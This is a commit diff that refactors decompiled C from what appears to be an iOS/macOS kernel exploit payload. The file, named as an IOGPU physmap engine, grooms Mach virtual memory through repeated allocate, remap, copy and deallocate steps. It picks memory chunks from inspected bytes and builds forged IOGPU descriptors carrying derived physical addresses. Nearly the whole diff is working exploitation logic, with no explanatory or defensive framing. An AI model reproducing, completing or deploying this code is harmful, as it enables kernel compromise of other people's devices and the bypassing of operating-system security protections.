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Rewrite IOGPU physmap range setup stack buffers

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khanhduytran0
2026-06-17 06:38:13 +07:00
parent b490c03083
commit 8434ccbc23
1 changed files with 138 additions and 267 deletions
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src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
+138 -267
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@@ -1,3 +1,13 @@
static inline void iogpu_desc_store32(void *buf, size_t offset, uint32_t value)
{
*(uint32_t *)((uint8_t *)buf + offset) = value;
}
static inline void iogpu_desc_store64(void *buf, size_t offset, uint64_t value)
{
*(uint64_t *)((uint8_t *)buf + offset) = value;
}
//----- (00000000000068F4) ----------------------------------------------------
void __fastcall deallocate_physmap_pages(__int64 a1)
{
@@ -1288,299 +1298,161 @@ void __fastcall run_physmap_setup_sequence(uint64_t *a1)
//----- (0000000000008758) ----------------------------------------------------
__int64 __fastcall validate_physmap_range_3(vm_address_t *a1)
{
vm_address_t v2; // x8
__int64 v3; // x8
vm_address_t v4; // x20
vm_address_t v5; // x20
__int64 v6; // x8
vm_address_t v7; // x20
vm_address_t *v8; // x26
vm_address_t v9; // x8
vm_address_t v10; // x9
vm_address_t v11; // x10
__int64 v12; // x20
vm_address_t v13; // x11
__int64 v14; // x8
vm_address_t v15; // x8
vm_address_t v16; // x1
vm_address_t v17; // x8
vm_address_t v18; // x20
vm_size_t v19; // x21
unsigned __int64 v20; // x8
__int128 *v21; // x9
__int64 v22; // x20
vm_address_t *v23; // x21
vm_address_t v24; // x8
unsigned __int64 v25; // x11
unsigned __int64 v26; // x10
unsigned int v27; // w8
__int128 *v28; // x8
__int128 v30; // [xsp+10h] [xbp-380h]
__int128 v31; // [xsp+30h] [xbp-360h]
uint8_t v32[32]; // [xsp+40h] [xbp-350h]
__int128 v33; // [xsp+60h] [xbp-330h]
__int128 v34; // [xsp+B0h] [xbp-2E0h]
__int128 v35; // [xsp+D0h] [xbp-2C0h]
__int128 v36; // [xsp+E0h] [xbp-2B0h]
__int128 v37; // [xsp+F0h] [xbp-2A0h]
__int128 v38; // [xsp+100h] [xbp-290h]
uint8_t v39[32]; // [xsp+140h] [xbp-250h]
__int128 v40; // [xsp+160h] [xbp-230h]
__int128 v41; // [xsp+170h] [xbp-220h]
__int128 v42; // [xsp+1B0h] [xbp-1E0h]
__int128 v43; // [xsp+1D0h] [xbp-1C0h]
__int128 v44; // [xsp+1E0h] [xbp-1B0h]
__int128 v45; // [xsp+1F0h] [xbp-1A0h]
__int128 v46; // [xsp+200h] [xbp-190h]
uint8_t address[32]; // [xsp+240h] [xbp-150h] BYREF
__int128 v48; // [xsp+260h] [xbp-130h]
__int128 v49; // [xsp+270h] [xbp-120h]
__int128 v50; // [xsp+280h] [xbp-110h]
__int128 v51; // [xsp+290h] [xbp-100h]
__int128 v52; // [xsp+2A0h] [xbp-F0h]
__int128 v53; // [xsp+2B0h] [xbp-E0h]
__int128 v54; // [xsp+2C0h] [xbp-D0h]
__int128 v55; // [xsp+2D0h] [xbp-C0h]
__int128 v56; // [xsp+2E0h] [xbp-B0h]
__int128 v57; // [xsp+2F0h] [xbp-A0h]
__int128 v58; // [xsp+300h] [xbp-90h]
__int128 v59; // [xsp+310h] [xbp-80h]
__int128 v60; // [xsp+320h] [xbp-70h]
__int128 v61; // [xsp+330h] [xbp-60h]
vm_address_t scratch;
vm_address_t copyDst;
vm_address_t remapBase;
vm_address_t sourceBase;
vm_address_t selectedChunk;
vm_address_t selectedPhys;
vm_address_t keepStart;
vm_size_t keepTailSize;
uint8_t repeatDesc[0x100];
uint8_t topDesc[0x100];
uint8_t middleDesc[0x100];
uint8_t tailDesc[0x30];
*(uint64_t *)address = 0;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
v2 = *(uint64_t *)address;
a1[176] = *(uint64_t *)address;
a1[172] = v2;
*(uint64_t *)address = v2;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
scratch = 0;
vm_allocate(mach_task_self_, &scratch, 0xC000u, 1);
a1[176] = scratch;
a1[172] = scratch;
vm_allocate(mach_task_self_, &scratch, 0x4000u, 0x4000);
thread_switch(0, 2, 0);
vm_deallocate(mach_task_self_, a1[7], 0x4000u);
a1[7] = 0;
vm_remap_inplace(a1[172], 0x4000u, 0);
query_vm_region_nesting(a1[172]);
*(uint64_t *)address = 0;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x10000u, 1);
v3 = *(uint64_t *)address;
a1[175] = *(uint64_t *)address;
*(uint64_t *)address = v3;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
scratch = 0;
vm_allocate(mach_task_self_, &scratch, 0x10000u, 1);
a1[175] = scratch;
vm_allocate(mach_task_self_, &scratch, 0x4000u, 16386);
vm_remap_inplace(a1[175], 0x4000u, 0);
*(uint64_t *)address = a1[175] + 0x4000;
v4 = *(uint64_t *)address;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 0x4000);
scratch = a1[175] + 0x4000;
copyDst = scratch;
vm_allocate(mach_task_self_, &scratch, 0x4000u, 0x4000);
thread_switch(0, 2, 0);
vm_deallocate(mach_task_self_, a1[9], 0x4000u);
a1[9] = 0;
vm_copy(mach_task_self_, a1[172], 0xC000u, v4);
query_vm_region_nesting(v4);
vm_copy(mach_task_self_, a1[172], 0xC000u, copyDst);
query_vm_region_nesting(copyDst);
vm_deallocate(mach_task_self_, a1[175] + 49152, 0x4000u);
*(uint64_t *)address = a1[172] + 0x4000;
v5 = *(uint64_t *)address;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
vm_remap_inplace(v5, 0x4000u, 0);
*(uint64_t *)address = 0;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
v6 = *(uint64_t *)address;
a1[173] = *(uint64_t *)address;
*(uint64_t *)address = v6;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
scratch = a1[172] + 0x4000;
remapBase = scratch;
vm_allocate(mach_task_self_, &scratch, 0x4000u, 16386);
vm_remap_inplace(remapBase, 0x4000u, 0);
scratch = 0;
vm_allocate(mach_task_self_, &scratch, 0xC000u, 1);
a1[173] = scratch;
vm_allocate(mach_task_self_, &scratch, 0x4000u, 16386);
vm_remap_inplace(a1[173], 0x4000u, 0);
*(uint64_t *)address = a1[173] + 0x4000;
v7 = *(uint64_t *)address;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
vm_remap_inplace(v7, 0x4000u, 0);
v8 = a1 + 138;
scratch = a1[173] + 0x4000;
remapBase = scratch;
vm_allocate(mach_task_self_, &scratch, 0x4000u, 16386);
vm_remap_inplace(remapBase, 0x4000u, 0);
vm_copy(mach_task_self_, a1[139], a1[140], a1[138]);
v9 = a1[140];
if ( v9 )
selectedChunk = -1;
if ( a1[140] )
{
v10 = 0;
v11 = *v8;
v12 = -1;
do
for ( vm_address_t offset = 0; offset < a1[140]; offset += 0x4000 )
{
v13 = v11 + v10;
if ( (*(uint8_t *)(v11 + v10 + 127) & 1) == 0 && (*(uint8_t *)(v13 + 383) & 1) == 0 )
vm_address_t chunk = a1[138] + offset;
if ( (*(uint8_t *)(chunk + 127) & 1) == 0 && (*(uint8_t *)(chunk + 383) & 1) == 0 )
{
a1[163] = *(uint64_t *)(v13 + 328);
v12 = v10;
a1[163] = *(uint64_t *)(chunk + 328);
selectedChunk = offset;
}
v10 += 0x4000LL;
}
while ( v10 < v9 );
}
else
{
v12 = -1;
}
*(uint64_t *)address = 0;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0xC000u, 1);
v14 = *(uint64_t *)address;
a1[169] = *(uint64_t *)address;
*(uint64_t *)address = v14;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x4000u, 16386);
scratch = 0;
vm_allocate(mach_task_self_, &scratch, 0xC000u, 1);
a1[169] = scratch;
vm_allocate(mach_task_self_, &scratch, 0x4000u, 16386);
vm_remap_inplace(a1[169], 0x4000u, 0);
*(uint64_t *)address = a1[169] + 0x4000;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
v15 = a1[139] + v12;
a1[170] = v15;
*(uint64_t *)address = v15 + 0x4000;
vm_allocate(mach_task_self_, (vm_address_t *)address, 0x8000u, 0x4000);
v16 = a1[139];
v17 = a1[170];
v18 = v17 + 49152;
v19 = v16 + a1[140] - v17 - 0x4000;
vm_deallocate(mach_task_self_, v16, v17 - v16);
vm_deallocate(mach_task_self_, v18, v19);
scratch = a1[169] + 0x4000;
vm_allocate(mach_task_self_, &scratch, 0x8000u, 0x4000);
a1[170] = a1[139] + selectedChunk;
scratch = a1[170] + 0x4000;
vm_allocate(mach_task_self_, &scratch, 0x8000u, 0x4000);
sourceBase = a1[139];
keepStart = a1[170];
keepTailSize = sourceBase + a1[140] - keepStart - 0x4000;
vm_deallocate(mach_task_self_, sourceBase, keepStart - sourceBase);
vm_deallocate(mach_task_self_, keepStart + 0xC000, keepTailSize);
vm_deallocate(mach_task_self_, a1[138], a1[140]);
*v8 = 0;
a1[138] = 0;
a1[139] = 0;
*(uint64_t *)address = 0;
*(__int128 *)&address[16] = 0u;
v60 = 0u;
v61 = 0u;
v58 = 0u;
v59 = 0u;
v56 = 0u;
v57 = 0u;
v54 = 0u;
*(uint64_t *)&v55 = 0;
v52 = 0u;
v53 = 0u;
v50 = 0u;
v51 = 0u;
v48 = 0u;
v49 = 0u;
*(__int128 *)&address[8] = *(__int128 *)byte_42D30;
DWORD2(v48) = 100;
LODWORD(v53) = 4;
HIDWORD(v53) = 16893952;
*((uint64_t *)&v55 + 1) = -1;
v20 = -256;
HIDWORD(v56) = 786560;
do
{
v21 = (__int128 *)(v20 + a1[169]);
v21[28] = v58;
v21[29] = v59;
v21[30] = v60;
v21[31] = v61;
v21[24] = v54;
v21[25] = v55;
v21[26] = v56;
v21[27] = v57;
v21[20] = v50;
v21[21] = v51;
v21[22] = v52;
v21[23] = v53;
v21[16] = *(__int128 *)address;
v21[17] = *(__int128 *)&address[16];
v21[18] = v48;
v21[19] = v49;
v20 += 256LL;
}
while ( v20 >> 8 < 0x3F );
memset(repeatDesc, 0, sizeof(repeatDesc));
memcpy(repeatDesc + 8, byte_42D30, 16);
iogpu_desc_store32(repeatDesc, 40, 100);
iogpu_desc_store32(repeatDesc, 112, 4);
iogpu_desc_store32(repeatDesc, 124, 16893952);
iogpu_desc_store64(repeatDesc, 152, -1ULL);
iogpu_desc_store32(repeatDesc, 172, 786560);
for ( size_t offset = 0; offset < 0x4000; offset += sizeof(repeatDesc) )
memcpy((void *)(a1[169] + offset), repeatDesc, sizeof(repeatDesc));
vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
v22 = 0;
v23 = a1 + 11;
do
for ( size_t index = 0; index != 124; index += 2 )
{
vm_deallocate(mach_task_self_, v23[v22], 0x4000u);
v23[v22] = 0;
v22 += 2;
vm_deallocate(mach_task_self_, a1[11 + index], 0x4000u);
a1[11 + index] = 0;
}
while ( v22 != 124 );
bzero((void *)a1[169], 0x4000u);
*(uint64_t *)&v43 = 0;
v44 = 0u;
*(uint64_t *)&v45 = 0;
v46 = 0u;
v42 = 0u;
v41 = 0u;
v24 = a1[163];
v25 = (v24 + 0x2400000200LL) >> 6;
if ( v24 == -512 )
LODWORD(v25) = 0;
*(uint32_t *)v39 = v25;
*(uint32_t *)&v39[4] = v25;
*(__int128 *)&v39[8] = *(__int128 *)byte_42D30;
*(uint64_t *)&v39[24] = 0x4000;
*(uint64_t *)&v40 = v24 + 512;
*((uint64_t *)&v40 + 1) = 0x100000064LL;
LODWORD(v41) = 1;
HIDWORD(v42) = 1165312;
*((uint64_t *)&v43 + 1) = -1;
HIDWORD(v44) = 786439;
*((uint64_t *)&v45 + 1) = v24 + 184;
*(uint64_t *)&v46 = v24 + 184;
*(uint64_t *)&v35 = 0;
v36 = 0u;
*(uint64_t *)&v37 = 0;
*((uint64_t *)&v38 + 1) = 0;
v34 = 0u;
v26 = (v24 + 0x2400000100LL) >> 6;
if ( v24 == -256 )
LODWORD(v26) = 0;
*(uint32_t *)v32 = v26;
*(uint32_t *)&v32[4] = v26;
*(__int128 *)&v32[8] = *(__int128 *)byte_42D30;
*(uint64_t *)&v32[24] = 0x4000;
*(uint64_t *)&v33 = 0;
*((uint64_t *)&v33 + 1) = 100;
LODWORD(v34) = 4;
HIDWORD(v34) = 100352;
*((uint64_t *)&v35 + 1) = -1;
HIDWORD(v36) = 786439;
*((uint64_t *)&v37 + 1) = v24 + 3200;
*(uint64_t *)&v38 = v24 + 3200;
DWORD2(v31) = 0;
*(uint64_t *)&v30 = 0;
if ( v24 )
v27 = (v24 + 0x2400000000LL) >> 6;
selectedPhys = a1[163];
memset(topDesc, 0, sizeof(topDesc));
uint32_t topPageIndex = (selectedPhys + 0x2400000200LL) >> 6;
if ( selectedPhys == -512 )
topPageIndex = 0;
iogpu_desc_store32(topDesc, 0, topPageIndex);
iogpu_desc_store32(topDesc, 4, topPageIndex);
memcpy(topDesc + 8, byte_42D30, 16);
iogpu_desc_store64(topDesc, 24, 0x4000);
iogpu_desc_store64(topDesc, 32, selectedPhys + 512);
iogpu_desc_store64(topDesc, 40, 0x100000064LL);
iogpu_desc_store32(topDesc, 48, 1);
iogpu_desc_store32(topDesc, 124, 1165312);
iogpu_desc_store64(topDesc, 152, -1ULL);
iogpu_desc_store32(topDesc, 172, 786439);
iogpu_desc_store64(topDesc, 184, selectedPhys + 184);
iogpu_desc_store64(topDesc, 192, selectedPhys + 184);
memset(middleDesc, 0, sizeof(middleDesc));
uint32_t middlePageIndex = (selectedPhys + 0x2400000100LL) >> 6;
if ( selectedPhys == -256 )
middlePageIndex = 0;
iogpu_desc_store32(middleDesc, 0, middlePageIndex);
iogpu_desc_store32(middleDesc, 4, middlePageIndex);
memcpy(middleDesc + 8, byte_42D30, 16);
iogpu_desc_store64(middleDesc, 24, 0x4000);
iogpu_desc_store64(middleDesc, 40, 100);
iogpu_desc_store32(middleDesc, 112, 4);
iogpu_desc_store32(middleDesc, 124, 100352);
iogpu_desc_store64(middleDesc, 152, -1ULL);
iogpu_desc_store32(middleDesc, 172, 786439);
iogpu_desc_store64(middleDesc, 184, selectedPhys + 3200);
iogpu_desc_store64(middleDesc, 192, selectedPhys + 3200);
memset(tailDesc, 0, sizeof(tailDesc));
uint32_t tailPageIndex;
if ( selectedPhys )
tailPageIndex = (selectedPhys + 0x2400000000LL) >> 6;
else
v27 = 0;
DWORD2(v30) = v27;
HIDWORD(v30) = v27;
*(uint64_t *)&v31 = v27 | 0x401000100000000LL;
HIDWORD(v31) = 4108;
v28 = (__int128 *)a1[169];
v28[2] = v40;
v28[3] = v41;
*v28 = *(__int128 *)v39;
v28[1] = *(__int128 *)&v39[16];
v28[6] = 0u;
v28[7] = v42;
v28[4] = 0u;
v28[5] = 0u;
v28[10] = v44;
v28[11] = v45;
v28[8] = 0u;
v28[9] = v43;
v28[14] = 0u;
v28[15] = 0u;
v28[12] = v46;
v28[13] = 0u;
v28[28] = v38;
v28[29] = 0u;
v28[30] = 0u;
v28[31] = 0u;
v28[24] = 0u;
v28[25] = v35;
v28[26] = v36;
v28[27] = v37;
v28[20] = 0u;
v28[21] = 0u;
v28[22] = 0u;
v28[23] = v34;
v28[16] = *(__int128 *)v32;
v28[17] = *(__int128 *)&v32[16];
v28[18] = v33;
v28[19] = 0u;
v28[32] = v30;
v28[33] = 0u;
v28[34] = v31;
tailPageIndex = 0;
iogpu_desc_store32(tailDesc, 8, tailPageIndex);
iogpu_desc_store32(tailDesc, 12, tailPageIndex);
iogpu_desc_store64(tailDesc, 32, tailPageIndex | 0x401000100000000LL);
iogpu_desc_store32(tailDesc, 44, 4108);
memcpy((void *)a1[169], topDesc, sizeof(topDesc));
memcpy((void *)(a1[169] + 0x100), middleDesc, sizeof(middleDesc));
memcpy((void *)(a1[169] + 0x200), tailDesc, sizeof(tailDesc));
return vm_copy(mach_task_self_, a1[169], 0xC000u, a1[170]);
}
// 42D30: using guessed type __int128 xmmword_42D30;
@@ -10994,4 +10866,3 @@ LABEL_5:
}
// 15B94: variable 'v33' is possibly undefined
// 15C84: variable 'v37' is possibly undefined